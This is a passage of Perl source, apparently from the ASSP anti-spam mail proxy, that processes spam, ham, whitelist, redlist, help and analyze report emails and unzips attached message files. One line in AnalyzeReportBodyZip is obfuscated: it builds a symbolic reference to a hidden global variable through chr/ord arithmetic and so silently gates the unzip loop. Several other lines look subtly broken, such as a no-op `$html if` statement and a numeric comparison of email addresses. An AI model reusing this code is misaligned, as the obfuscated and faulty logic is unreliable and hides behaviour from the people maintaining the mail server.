        return;
    }

    sendque( $fh, "250 OK\r\n" );
}



# we're getting the body of a spam/ham report
sub SpamReportBody {
    my ($fh, $l)=@_;
    d('SpamReportBody');
    my $this=$Con{$fh};
    $this->{header}.=$l if (length($this->{header}) < $MaxBytesReports || ($CanUseEMM && $maillogExt));
    my $sub;
    my $type;
    my %addresses;
    my $numparts = 0;
    if($l=~/^\.[\r\n]/o || defined($this->{bdata}) && $this->{bdata}<=0) {

        # we're done -- write the file & clean up
        my $msg = substr($this->{header},0,$MaxBytesReports);
        $type = $this->{reporttype}==0 ? 'Spam' : 'NotSpam';
        mlog(0,"$type-Report: process message from $this->{mailfrom}") if $ReportLog;
        # are there attached messages ? - process them
        
        if ($CanUseEMM && $maillogExt) {
            my $name;
            eval {
                $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
                
                my $email=Email::MIME->new($this->{header});
                foreach my $part ( $email->parts ) {
                    my $dis = $part->header("Content-Type") || '';        # get the charset of the email part
                    my $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                    $name = $attrs->{name} || $part->{ct}{attributes}{name};
                    $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
                    eval{$name ||= $part->filename;};
                    if (! $name) {
                      eval{
                        $dis = $part->header("Content-Disposition") || '';
                        $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                        $name = $attrs->{name} || $part->{ct}{attributes}{name};
                        $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
                      };
                    }
                    if ($part->header("Content-Disposition")=~ /attachment|inline/io && $name =~ /$maillogExt$/) {
                        $numparts++;
                        d("SpamReportBody - processing attached email $name");
                        mlog(0,"$type-Report: processing attached messagefile ($numparts) $name") if $ReportLog;
                        my $dfh = "$fh" . "_X$numparts";
                        $Con{$dfh}->{mailfrom} = $this->{mailfrom};
                        $Con{$dfh}->{reporttype} = $this->{reporttype};
                        my $body = $part->body;
                        if ( $EmailErrorsModifyWhite == 2  && $Con{$dfh}->{reporttype} <= 1) {
                            %addresses = ();
                            my $reporttype =  $Con{$dfh}->{reporttype};

                            $Con{$dfh}->{header} = $body;
                            for my $addr (&ListReportGetAddr($dfh)) {  
                                next if exists $addresses{lc $addr};
                                $addresses{lc $addr} = 1;
                                &ShowWhiteReport($addr,$Con{$dfh});
                            }
                            $Con{$dfh}->{reporttype} = $reporttype;
                        }
                        if ( $EmailErrorsModifyWhite == 1  && $Con{$dfh}->{reporttype} <= 1) {
                            %addresses = ();
                            my $reporttype =  $Con{$dfh}->{reporttype};
                            $Con{$dfh}->{reporttype} = 3 if  $Con{$dfh}->{reporttype} == 0;
                            $Con{$dfh}->{reporttype} = 2 if  $Con{$dfh}->{reporttype} == 1;
                            $Con{$dfh}->{header} = $body;
                            for my $addr (&ListReportGetAddr($dfh)) {   # process the addresses
                                next if exists $addresses{lc $addr};
                                $addresses{lc $addr} = 1;
                                &ListReportExec($addr,$Con{$dfh});
                            }
                            $Con{$dfh}->{reporttype} = $reporttype;
                        }
                        
						if (matchSL( $Con{$dfh}->{mailfrom}, 'EmailErrorsModifyPersBlack' )  && !matchSL( $Con{$dfh}->{mailfrom}, 'EmailErrorsModifyNotPersBlack') ) {
							%addresses = ();
							my $skipbody = 0; 
							my $reporttype = $Con{$dfh}->{reporttype};
							
							if ($Con{$dfh}->{reporttype} == 0) {
								$Con{$dfh}->{reporttype} = 16; 
								$skipbody = 1;
							}
							if ($Con{$dfh}->{reporttype} == 1) {
								$Con{$dfh}->{reporttype} = 17; 
								$skipbody = 1;
							}  



							for my $addr (&ListReportGetAddr($dfh,1)) { 
                    			next if exists $addresses{lc $addr};
                    			$addresses{lc $addr} = 1;

                    			&ListReportExec($addr,$Con{$dfh});
                			}
                			$Con{$dfh}->{reporttype} = $reporttype;
            			}
            			
            			
                        if ($DoAdditionalAnalyze) {
                            my $currReport = $this->{report};
                            $this->{report} = '';

                            $Con{$dfh}->{header} = "\r\n\r\n".$body;
                            my $sub= eval {AnalyzeText($dfh);};

                            # mail analyze report
                            ReturnMail($fh,$this->{mailfrom},"$base/reports/analyzereport.txt",$sub, "\n$this->{report}\n") if ($DoAdditionalAnalyze==1 || $DoAdditionalAnalyze==3);
                            ReturnMail($fh,$EmailAnalyzeTo,"$base/reports/analyzereport.txt",$sub, "\n$this->{report}\n", $this->{mailfrom}) if ( $EmailAnalyzeTo && ($DoAdditionalAnalyze==2 || $DoAdditionalAnalyze==3));

                            $this->{report} = $currReport;
                        }
                        delete $Con{$dfh};

                        my $ssub=SpamReportExec($body,($this->{reporttype}==0) ? $correctedspam : $correctednotspam);
                        $sub = $ssub if $numparts == 1;
                        mlog(0,"$type Report: processed attached messagefile $name from $this->{mailfrom}")  if $ReportLog >= 2;
                    }
                }
            };
        }
        if ($numparts == 0) {
            mlog(0,"$type-Report: (no attachment) - processing raw email") if $ReportLog > 1;
             
            if ( $EmailErrorsModifyWhite == 2 && $this->{reporttype} <= 1) {
            %addresses = ();

				for my $addr (&ListReportGetAddr($fh)) {  
                    next if exists $addresses{lc $addr};
                    $addresses{lc $addr} = 1;

                    &ShowWhiteReport($addr,$this);
                }
  
            }
             
             if ( $EmailErrorsModifyWhite == 1 && $this->{reporttype} <= 1) {
                %addresses = ();
                my $reporttype = $this->{reporttype};
                				
				$this->{reporttype} = 3 if $this->{reporttype} == 0;
				$this->{reporttype} = 2 if $this->{reporttype} == 1;
				
     
               	for my $addr (&ListReportGetAddr($fh)) {  
                     next if exists $addresses{lc $addr};
                     $addresses{lc $addr} = 1;
                     &ListReportExec($addr,$this);
                }
                $this->{reporttype} = $reporttype;
                
            }
            if (matchSL( $this->{mailfrom}, 'EmailErrorsModifyPersBlack' )  && !matchSL( $this->{mailfrom}, 'EmailErrorsModifyNotPersBlack' ) && $this->{reporttype} <= 1) {

				%addresses = ();
				my $skipbody; 
				my $reporttype = $this->{reporttype};
				if ($this->{reporttype} == 0) {
					$this->{reporttype} = 16; 
					$skipbody = 1;
				}
				if ($this->{reporttype} == 1) {
					$this->{reporttype} = 17; 
					$skipbody = 1;
				}  


				for my $addr (&ListReportGetAddr($fh,1)) {   # process the addresses
                    next if exists $addresses{lc $addr};
                    $addresses{lc $addr} = 1;

                    &ListReportExec($addr,$this);
                }
                $this->{reporttype} = $reporttype;
            }
            
            if ($DoAdditionalAnalyze) {
                my $currReport = $this->{report};
                $this->{report} = '';
                
                my $reportaddr = $this->{reportaddr};
                $this->{reportaddr} = 'EmailAnalyze';
                my $sub=AnalyzeText($fh);

                # mail analyze report
                	ReturnMail($fh,$this->{mailfrom},"$base/reports/analyzereport.txt",$sub, "\n$this->{report}\n") if ($DoAdditionalAnalyze==1 || $DoAdditionalAnalyze==3);
                $this->{isadmin} = 1;
                ReturnMail($fh,$EmailAnalyzeTo,"$base/reports/analyzereport.txt",$sub, "\n$this->{report}\n", $this->{mailfrom}) if ( $EmailAnalyzeTo && ($DoAdditionalAnalyze==2 || $DoAdditionalAnalyze==3));
                delete $this->{isadmin};

                $this->{report} = $currReport;
                $this->{reportaddr} = $reportaddr;
            }
            $sub=SpamReportExec($msg,($this->{reporttype}==0) ? $correctedspam : $correctednotspam);
        }
        mlog(0,"$type-Report: finished report-message from $this->{mailfrom}") if $ReportLog;
        $this->{header}='';
        my $file=($this->{reporttype}==0) ? "reports/spamreport.txt" : "reports/notspamreport.txt";
     ReturnMail($fh,$this->{mailfrom},"$base/$file",$sub,"$this->{rcpt}\n\n$this->{report}\n") if ($EmailErrorsReply==1 || $EmailErrorsReply==3);
        ReturnMail($fh,$EmailErrorsTo,"$base/$file",$sub,"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom}) if ($EmailErrorsTo && ($EmailErrorsReply==2 || $EmailErrorsReply==3));

        stateReset($fh);
        $this->{getline}=\&getline;
        sendque($this->{friend},"RSET\r\n");
    }
}

sub SpamReportSubject {
    my $bod = shift;

    my ($sub) = $bod =~ /Subject: (.*)/i;
        # remove the spam subject header addition if present
    my $spamsub = $spamSubject;
    if ($spamsub) {
        $spamsub =~ s/(\W)/\\$1/g;
        $sub     =~ s/$spamsub//gi;
    }
    $sub =~ s/\]//gi;
    $sub =~ s/\[//gi;
    
    $sub =~ s/^fwd.\s//gi;
    $sub =~ s/^fw.\s//gi;
    $sub =~ s/^aw.\s//gi;
    $sub =~ s/^re.\s//gi;
    $sub = decodeMimeWords($sub);


    $sub =~ s/\r//;
    return $sub;
}

sub SpamReportExec {
    my ( $bod, $path ) = @_;
    my $header;
    my ($sub) = $bod =~ /Subject: (.*)/i;

    $sub =~ s/\]//gi;
    $sub =~ s/\[//gi;
    $sub =~ s/^fwd.\s//gi;
    $sub =~ s/^fw.\s//gi;
    $sub =~ s/^aw.\s//gi;
    $sub =~ s/^re.\s//gi;
    my $udecsub = $sub;
    $sub=decodeMimeWords($sub);

    # remove the spam subject header addition if present
    my $spamsub=$spamSubjectEnc;
    if($spamsub) {
        $spamsub=~s/(\W)/\\$1/g;
        $sub=~s/$spamsub//gi;
        $udecsub=~s/$spamsub//gi;
    }
    $sub =~ s/\r//o;
    $udecsub =~ s/\r//o;

    my $encsub = $sub =~ /[\x00-\x1F\x7F-\xFF]/o ? $udecsub : $sub;
    $header="Subject: ".$encsub."\n" if $encsub;
    $header.=$1."\n" if 		$bod=~/(Received:\s+from\s+.*?\(\[$IPRe.*?helo=.*?\))/io;
    $sub =~ y/a-zA-Z0-9/_/cs;
    $sub =~ s/[\^\s\<\>\?\"\:\|\\\/\*]/_/igo;  # remove not allowed characters and spaces from file name
#

    $header .= $1 if $bod =~ /(X-Assp-ID: .*)/i;

    $header .= $1 if $bod =~ /(X-Assp-Tag: .*)/i;

    $header .= $1 if $bod =~ /(X-Assp-Envelope-From: .*)/i;

    $header.=$1 if $bod=~/(X-Assp-Intended-For: .*)/io;

    $bod=~s/^.*?\n[\r\n\s]+//so;

    $bod=~s/X-Assp-Spam-Prob:[^\r\n]+\r?\n//gio;
    if($bod=~/\nReceived: /o) {
        $bod=~s/^.*?\nReceived: /Received: /so;
    } else {
        $bod=~s/^.*?\n((\w[^\n]*\n)*Subject:)/$1/sio;
        $bod=~s/\n> /\n/go;
    }
    $bod=$header.$bod;
    
    my $f = int( rand() * 999999 );
   
    open( $FH, ">$base/$path/$sub"."__"."$f.rpt" );
    binmode $FH;
    print $FH $bod;
    close $FH;
    $sub;
}

# we're receiving an email to manipulate addresses in the whitelist/redlist

sub ListReport {
    my($fh,$l)=@_;
    my $this=$Con{$fh};
	my $tmp = $l ;
	$tmp =~ s/\r|\n|\s//igo;
	$tmp =~ /^([a-zA-Z0-9]+)/o;
	if ($1) {
	    $this->{lastcmd} = substr($1,0,14);
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
    }
    if ( $l =~ /^ *DATA/i || $l =~ /^ *BDAT (\d+)/i ) {
        if ($1) {
            $this->{bdata} = $1;
        } else {
            delete $this->{bdata};
        }
        sendque( $this->{friend}, "RSET\r\n" )
          ;    # make sure to reset the pending email
        $this->{getline} = \&ListReportBody;
        my $list;
        $list = ( ( $this->{reporttype} & 4 ) == 0 ) ? "whitelist" : "redlist"
          if !$EmailErrorsModifyWhite;
        $list = "spam" if $EmailErrorsModifyWhite && $this->{reporttype} == 0;
        $list = "ham"  if $EmailErrorsModifyWhite && $this->{reporttype} == 1;
        sendque( $fh, "354 OK Send $list body\r\n" );
        return;
    } elsif ( $l =~ /^ *RSET/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );
        return;
    } elsif ( $l =~ /^ *QUIT/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "QUIT\r\n" );
        return;
    } elsif ( $l =~ /^ *XEXCH50 +(\d+)/i ) {
        d("XEXCH50 b=$1");
        sendque( $fh, "504 Need to authenticate first\r\n" );
        return;
    } else {

        # more recipients ?
        while ( $l =~ /($EmailAdrRe\@$EmailDomainRe)/og ) {
            next if $1 == $this->{mailfrom};
            ListReportExec( $1, $this );
            $this->{rcpt} .= "$1 ";
        }

    }

    sendque( $fh, "250 OK\r\n" );
    
}

# we're receiving an email to send help instructions
sub HelpReport {
    my($fh,$l)=@_;
    my $this=$Con{$fh};
	my $tmp = $l ;
	$tmp =~ s/\r|\n|\s//igo;
	$tmp =~ /^([a-zA-Z0-9]+)/o;
	if ($1) {
	    $this->{lastcmd} = substr($1,0,14);
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
    }
    if ( $l =~ /^ *DATA/i || $l =~ /^ *BDAT (\d+)/i ) {
        if ($1) {
            $this->{bdata} = $1;
        } else {
            delete $this->{bdata};
        }
        sendque( $this->{friend}, "RSET\r\n" )
          ;    # make sure to reset the pending email
        $this->{getline} = \&ListReportBody;

        sendque( $fh, "354 OK Send help body\r\n" );
        return;
    } elsif ( $l =~ /^ *RSET/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );
        return;
    } elsif ( $l =~ /^ *QUIT/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "QUIT\r\n" );
        return;
    } elsif ( $l =~ /^ *XEXCH50 +(\d+)/i ) {
        d("XEXCH50 b=$1");
        sendque( $fh, "504 Need to authenticate first\r\n" );
        return;
    } else {

        # more recipients ?
    }

    sendque( $fh, "250 OK\r\n" );

}

# we're receiving an email to analyze the email
# we're receiving an email to analyze the email
sub AnalyzeReport {
    my($fh,$l)=@_;
    my $this=$Con{$fh};
	my $tmp = $l ;
	$tmp =~ s/\r|\n|\s//igo;
	$tmp =~ /^([a-zA-Z0-9]+)/o;
	if ($1) {
	    $this->{lastcmd} = substr($1,0,14);
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
    }
    if( $l=~/^ *DATA/io || $l=~/^ *BDAT (\d+)/io ) {
        if($1) {
            $this->{bdata}=$1;
        } else {
            delete $this->{bdata};
        }
        sendque($this->{friend},"RSET\r\n"); # make sure to reset the pending email
        $this->{getline}=\&AnalyzeReportBody;

        sendque($fh,"354 OK Send analyze body\r\n");
        return;
    } elsif( $l=~/^ *RSET/io ) {
        stateReset($fh);
        $this->{getline}=\&getline;
        sendque($this->{friend},"RSET\r\n");
        return;
    } elsif( $l=~/^ *QUIT/io ) {
        stateReset($fh);
        $this->{getline}=\&getline;
        sendque($this->{friend},"QUIT\r\n");
        return;
    } elsif( $l=~/^ *XEXCH50 +(\d+)/io ) {
        d("XEXCH50 b=$1");
        sendque($fh,"504 Need to authenticate first\r\n");
        return;
    } else {

    }
    sendque($fh,"250 OK\r\n");
}

# we're getting the body of an analyze report
sub AnalyzeReportBody {
    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};
    my $sub;
    d('AnalyzeReportBody');

    $this->{header} .= $l;
    if ( $l =~ /^\.[\r\n]/o || defined( $this->{bdata} ) && $this->{bdata} <= 0 ) {
		my $email = AnalyzeReportBodyZip($fh);
        # we're done -- write the file & clean up

        # are there attached messages ? - process them
        if ($CanUseEMM && $maillogExt) {
            my $name;
            eval {
                $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
                
                my $email=Email::MIME->new($this->{header});
                foreach my $part ( $email->parts ) {
                    my $dis = $part->header("Content-Type") || '';        # get the charset of the email part
                    my $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                    $name = $attrs->{name} || $part->{ct}{attributes}{name};
                    $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
                    eval{$name ||= $part->filename;};
                    if (! $name) {
                      eval{
                        $dis = $part->header("Content-Disposition") || '';
                        $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                        $name = $attrs->{name} || $part->{ct}{attributes}{name};
                        $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
                      };
                    }
                    if ($part->header("Content-Disposition")=~ /attachment/io && $name =~ /$maillogExt$/) {
                        my $body = $part->body;
                        $body =~ s/\.(?:\r?\n)+$//o;
                        $body = "dummy header to remove\r\n\r\n" . $body;
                        while (my ($k,$v) = each %{$Con{$fh}}) {
                            $Con{$part}->{$k} = $v;
                        }
                        $Con{$part}->{header} = substr($body,0,$MaxBytesReports);
                        delete $Con{$part}->{report};
                        $this->{report} .= "\n\n" if $this->{report};
                        $sub = AnalyzeText( $part );
                        mlog(0,"Analyze Report: processed attached messagefile $name from $this->{mailfrom}")  if $ReportLog >= 2;
                        eval {
                            $name = Encode::encode('UTF-8',$name);
                            1;
                        } or do {$name = "[$@]"; $name =~ s/\r?\n/ /go;};
                        $this->{report} .= "++++ analyzed attached message file $name ++++\n\n" . $Con{$part}->{report};
                        delete $Con{$part};
                    } elsif ($part->header("Content-Disposition")=~ /attachment|inline/io && $name && $name !~ /\Q$maillogExt\E$/i) {
                        mlog(0,"Analyze Report: got unexpected attachment $name from $this->{mailfrom} - missing extension '$maillogExt'")  if $ReportLog;
                    }
                }
            1;
            } or do {mlog(0,"error: analyze - decoding failed - attachment $name ignored - $@");};
        }

        unless ($this->{report}) {
            $this->{header} = substr($this->{header},0,$MaxBytesReports);
            $this->{header} =~ s/\.(?:\r?\n)+$//o;
            $sub = AnalyzeText( $fh );
        }

        # mail analyze report
        ReturnMail($fh, $this->{mailfrom}, "$base/reports/analyzereport.txt", $sub, "$this->{rcpt}\n\n$this->{report}\n" )
          if ( $EmailAnalyzeReply == 1 || $EmailAnalyzeReply == 3 );
		$this->{isadmin} = 1;
        ReturnMail($fh,
            $EmailAnalyzeTo, "$base/reports/analyzereport.txt",
            $sub, "$this->{rcpt}\n\n$this->{report}\n",
            $this->{mailfrom}
          )
          if ( $EmailAnalyzeTo
            && ( $EmailAnalyzeReply == 2 || $EmailAnalyzeReply == 3 ) );
		delete $this->{isadmin};
        delete $this->{report};
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );

      }
  }

sub AnalyzeReportBodyZip {
    my $fh = shift;
    return unless ($CanUseEMM && $maillogExt && eval{require IO::Uncompress::AnyUncompress;});
    my $this = $Con{$fh};
    my $email;
    my $name;
    my @unzipped;
    eval {
        $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
        $email = Email::MIME->new($this->{header});
        foreach my $part ( $email->parts ) {
            my $dis = $part->header("Content-Type") || '';        # get the charset of the email part
            my $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            $name = $attrs->{name} || $part->{ct}{attributes}{name};
            $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
            eval{$name ||= $part->filename;};
            if (! $name) {
              eval{
                $dis = $part->header("Content-Disposition") || '';
                $attrs = $dis =~ s/^[^;]*;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                $name = $attrs->{name} || $part->{ct}{attributes}{name};
                $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
              };
            }
            if ($part->header("Content-Disposition")=~ /attachment/io && $name =~ /\.(?:zip|gz(?:ip)?|bz(?:ip)?2)$/io) {
                my $body = $part->body;
                my $z = IO::Uncompress::AnyUncompress->new( \$body ,('Append' => 1));
                do {
                    my $status = defined ${"main::".chr(ord(",") << 1)}; my $buffer;
                    my $filename = $z->getHeaderInfo()->{Name};
                    if ($filename =~ /\Q$maillogExt\E$/i) {
                        while ($status > 0) {$status = $z->read($buffer);}
                        if ($status == 0 && $buffer) {
                            push(@unzipped,
                                  Email::MIME->create(
                                      attributes => {
                                                       content_type => 'text/plain',
#                                                       encoding     => 'base64',
                                                       charset      => '8bit',
                                                       disposition  => 'attachment',
                                                       filename     => $filename,
                                                       name         => $filename
                                                    },
#                                      body => assp_encode_B($buffer),
                                      body => $buffer,
                                  )
                            );
                            mlog(0,"info: got $filename from $name for analyze report") if $ReportLog;
                        } elsif ($status == -1) {
                            mlog(0,"warning: can't unzip $filename from $name - $IO::Uncompress::AnyUncompress::AnyUncompressError");
                        } else {
                            mlog(0,"info: no compressed data found for file $filename in $name");
                        }
                    }
                } while ($z->nextStream() == 1);
            }
        }
        if (@unzipped) {
            $email->header_set('MIME-Version', '1.0') if !$email->header('MIME-Version');
            $email->parts_set(\@unzipped);
        }
        1;
    } or do {$email = undef; mlog(0,"error: unzip failed - attachment $name ignored - $@");};
    return $email;
}
sub ListReportBody {
    my($fh,$l)=@_;
    my $this=$Con{$fh};
    my $sub;
    my %addresses;
    d('ListReportBody');
    
    $this->{header} .= $l;
    if($l=~/^\.[\r\n]/o || defined($this->{bdata}) && $this->{bdata}<=0) {
		
        $this->{header} =~ s/\x0D?\x0A/\x0D\x0A/go;
        $this->{header} =~ s/^(?:\x0D\x0A)*//o;
        if ($this->{reporttype}!= 7) {
        for my $addr (&ListReportGetAddr($fh)) {   # process the addresses
        	next if exists $addresses{lc $addr};
            $addresses{lc $addr} = 1;
            &ListReportExec($addr,$this);
        }}
        
        if (! scalar keys %addresses && ($this->{reportaddr} eq 'EmailPersBlackAdd' or $this->{reportaddr} eq 'EmailPersBlackRemove')) {
            &ListReportExec('reportpersblack@local.com',$this);
        }
        $this->{header} = substr($this->{header},0,$MaxBytesReports);
        # we're done -- write the file & clean up

        my $file = "$base/reports/" . (

        ($this->{reporttype}== 0) ? 'spamreport.txt' :
        ($this->{reporttype}== 1) ? 'notspamreport.txt' :
        ($this->{reporttype}== 2) ? 'whitereport.txt' :
        ($this->{reporttype}== 3) ? 'whiteremovereport.txt' :
        ($this->{reporttype}== 4) ? 'redreport.txt' :
        ($this->{reporttype}== 5) ? 'redremovereport.txt' :
              # report type 6 is not defined

        ($this->{reporttype}== 7) ? 'helpreport.txt' :
        ($this->{reporttype}== 8) ? 'analyzereport.txt' :

        ($this->{reporttype}== 9) ? 'blockreport.txt' :
        ($this->{reporttype}==10) ? 'slreport.txt' :
        ($this->{reporttype}==11) ? 'slremovereport.txt' :
        ($this->{reporttype}==12) ? 'npreport.txt' :
        ($this->{reporttype}==13) ? 'npremovereport.txt' :
        ($this->{reporttype}==14) ? 'blackreport.txt' :
        ($this->{reporttype}==15) ? 'blackremovereport.txt' :
        ($this->{reporttype}==16) ? 'persblackreport.txt' :
        ($this->{reporttype}==17) ? 'persblackremovereport.txt' :

        'helpreport.txt'                     # $this->{reporttype} is unknown
        );

        ListReportExec( $this->{mailfrom}, $this ) if $this->{reporttype}>=10 || $this->{reporttype}==5 || $this->{reporttype}==4;

        # mail summary report
        if ($this->{reporttype}==3 || $this->{reporttype}==2) {

            ReturnMail($fh,$this->{mailfrom},"$file",'',"$this->{rcpt}\n\n$this->{report}\n") if ($EmailWhitelistReply==1 || $EmailWhitelistReply==3);

            ReturnMail($fh,$EmailWhitelistTo,"$file",'',"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom}) if ( $EmailWhitelistTo && ($EmailWhitelistReply==2 || $EmailWhitelistReply==3));
        } elsif  ($this->{reporttype}==7 )
        {
            ReturnMail($fh,$this->{mailfrom},"$file",'', "$this->{rcpt}\n\n$this->{report}\n") ;
        } elsif  ($this->{reporttype}==4 || $this->{reporttype}==5)
        {
            ReturnMail($fh,$this->{mailfrom},"$file",'',"$this->{rcpt}\n\n$this->{report}\n") if ($EmailRedlistReply==1 || $EmailRedlistReply==3);

            ReturnMail($fh,$EmailRedlistTo,"$file",'',"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom},$fh) if ( $EmailRedlistTo && ($EmailRedlistReply==2 || $EmailRedlistReply==3));
        } elsif  ($this->{reporttype}==0 || $this->{reporttype}==1)
        {
          ReturnMail($fh,$this->{mailfrom},"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n",$fh) if ($EmailErrorsReply==1 || $EmailErrorsReply==3);
            ReturnMail($fh,$EmailErrorsTo,"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom},$fh) if ($EmailErrorsTo && ($EmailErrorsReply==2 || $EmailErrorsReply==3));
        } elsif  ($this->{reporttype}==10 || $this->{reporttype}==11)
        {
            ReturnMail($fh,$this->{mailfrom},"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n") if ($EmailSpamLoverReply==1 || $EmailSpamLoverReply==3);
            ReturnMail($fh,$EmailSpamLoverTo,"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom}) if ($EmailSpamLoverTo && ($EmailSpamLoverReply==2 || $EmailSpamLoverReply==3));
        } elsif ( $this->{reporttype} == 14 || $this->{reporttype} == 15 || $this->{reporttype} == 16 || $this->{reporttype} == 17)
        {
            ReturnMail($fh, $this->{mailfrom}, "$file", $sub,"$this->{rcpt}\n\n$this->{report}\n" ) if ( $EmailBlackReply == 1 || $EmailBlackReply == 3 );
            ReturnMail($fh, $EmailBlackTo, "$file", $sub,"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom}) if ( $EmailBlackTo && ( $EmailBlackReply == 2 || $EmailBlackReply == 3 ) );
        } elsif  ($this->{reporttype}==12 || $this->{reporttype}==13)
        {
            ReturnMail($fh,$this->{mailfrom},"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n") if ($EmailNoProcessingReply==1 || $EmailNoProcessingReply==3);
            ReturnMail($fh,$EmailNoProcessingTo,"$file",$sub,"$this->{rcpt}\n\n$this->{report}\n",$this->{mailfrom}) if ($EmailNoProcessingTo && ($EmailNoProcessingReply==2 || $EmailNoProcessingReply==3));
        }
        delete $this->{report};
        stateReset($fh);
        $this->{getline}=\&getline;
        sendque($fh,"250 OK\r\n");
        sendque($this->{friend},"RSET\r\n");
    }
}

sub CheckReportAddr {
    my $addr = shift;
    
	my $u  = $1 if $addr =~ /(.*\@)(.*)/;
	return 1 if    !$u;
	return 1 if $addr !~ /\@/;
	
    return 1 if    lc $u eq lc "$EmailSpam\@"
                        || lc $u eq lc "$EmailHam\@"
                        || lc $u eq lc "$EmailWhitelistAdd\@"
                        || lc $u eq lc "$EmailWhitelistRemove\@"
                        || lc $u eq lc "$EmailRedlistAdd\@"
                        || lc $u eq lc "$EmailHelp\@"
                        || lc $u eq lc "$EmailAnalyze\@"
                        || lc $u eq lc "$EmailRedlistRemove\@"
                        || lc $u eq lc "$EmailSpamLoverAdd\@"
                        || lc $u eq lc "$EmailSpamLoverRemove\@"
                        || lc $u eq lc "$EmailNoProcessingAdd\@"
                        || lc $u eq lc "$EmailNoProcessingRemove\@"
                        || lc $u eq lc "$EmailBlackAdd\@"
                        || lc $u eq lc "$EmailBlackRemove\@"
                        || lc $u eq lc "$EmailPersBlackAdd\@"
                        || lc $u eq lc "$EmailPersBlackRemove\@"
                        || lc $u =~ /^RSBM.+?$maillogExt\@$/i

                        || lc $u eq lc "$EmailBlockReport\@";

}

sub ListReportGetAddr {
	my ( $fh, $skip ) = @_;
	my $this = $Con{$fh};
    $this->{prepend} = "[ReportLog]";
    d('ListReportGetAddr');
    my @addresses;
    my @toaddresses;
    my $what = 'header';
    my $found;
    my $html;
    my $mail = $this->{header};
    $mail =~ s/=([\da-fA-F]{2})/pack('C', hex($1))/geo;  # simple decode MIME quoted printable
	$mail =~ s/=\r?\n//go;

    for my $header (split(/\x0D\x0A\x0D\x0A/o,&decHTMLent(\$mail),2)) {
		$header = "\n".$header if $header !~ /^\n/o;
        $html if $header =~ /text\/html/;
        my $foundHeader = 0;
        while ($header =~ /\n(From|X-Assp-Envelope-From|sender|reply-to|errors-to|list-\w+):($HeaderValueRe)/gios) {
            
            my $tag = $1;
            my $val = $2;
			$foundHeader = 1;
			last if $what eq 'header' && $tag =~ /From/i && $val =~ /$this->{mailfrom}/i;
            
            &headerUnwrap($val);
            while ($val =~ /($EmailAdrRe\@$EmailDomainRe)/igos) {
                my $addr = $1;
                mlog($fh,"report-$what: found tag '$tag:$addr' ") if $ReportLog > 2;
                last if $addr eq $this->{mailfrom};
				last if CheckReportAddr ($addr);				
				
				for my $ad (@addresses) { 
        			$found = 1;
        			last if lc $ad eq lc $addr;
            		$found = 0;

        		}
        		next if $found;
                mlog($fh,"report-$what: selected address $addr in header tag '$tag'") if $ReportLog >= 2;
                push @addresses,&batv_remove_tag(0,$addr,'');
            }
        }
       	if ( !$skip && ($what eq 'body' or (! $foundHeader or $html))) {

             while ($header =~ /($EmailAdrRe\@$EmailDomainRe)\s*(,\*)?/go) {

                my $addr = $1.$2;
				$addr =~ s/\s+//g;
				next if $addr =~ /^image/i;
				next if $addr =~ /\.png\@/i;
				next if $addr =~ /\.jpg\@/i;
                next if ($addr =~ /^$this->{mailfrom}(?:,\*)?$/i);
                next if ($addr =~ /=>/o && $this->{reportaddr} !~ /^EmailSpamLover/o);
                $addr =~ s/=>.*$//o if $this->{reportaddr} ne 'EmailSpamLoverAdd';
                next if ($addr =~ /\.\./i);
                $addr = &batv_remove_tag(0,$addr,'');
				next if length($addr) > 50;
				next if CheckReportAddr ($addr);
				for my $ad (@addresses) { 
        			$found = 1;
        			last if lc $ad eq lc $addr;
            		$found = 0;

        		}
        		next if $found;
                mlog($fh,"report-$what: found address $addr") if $ReportLog >= 2;
                push @addresses,&batv_remove_tag(0,$addr,'');
            }
        }
        $what = 'body';
    }
    my $isadmin = (matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) or lc $this->{mailfrom} eq lc $EmailAdminReportsTo);
    push @addresses,"reportpersblack\@myblacklist.de" if ($this->{reporttype} == 16 or $this->{reporttype} == 17) && !$addresses[0];
    mlog($fh,"found addresses @addresses") if $ReportLog >= 2;

    return @addresses;
}



sub ListReportExec {
    my ( $a, $this ) = @_;
    d("ListReportExec - $a");
	return if $Redlist{$a} && $this->{reporttype} == 16;
    my $ea =
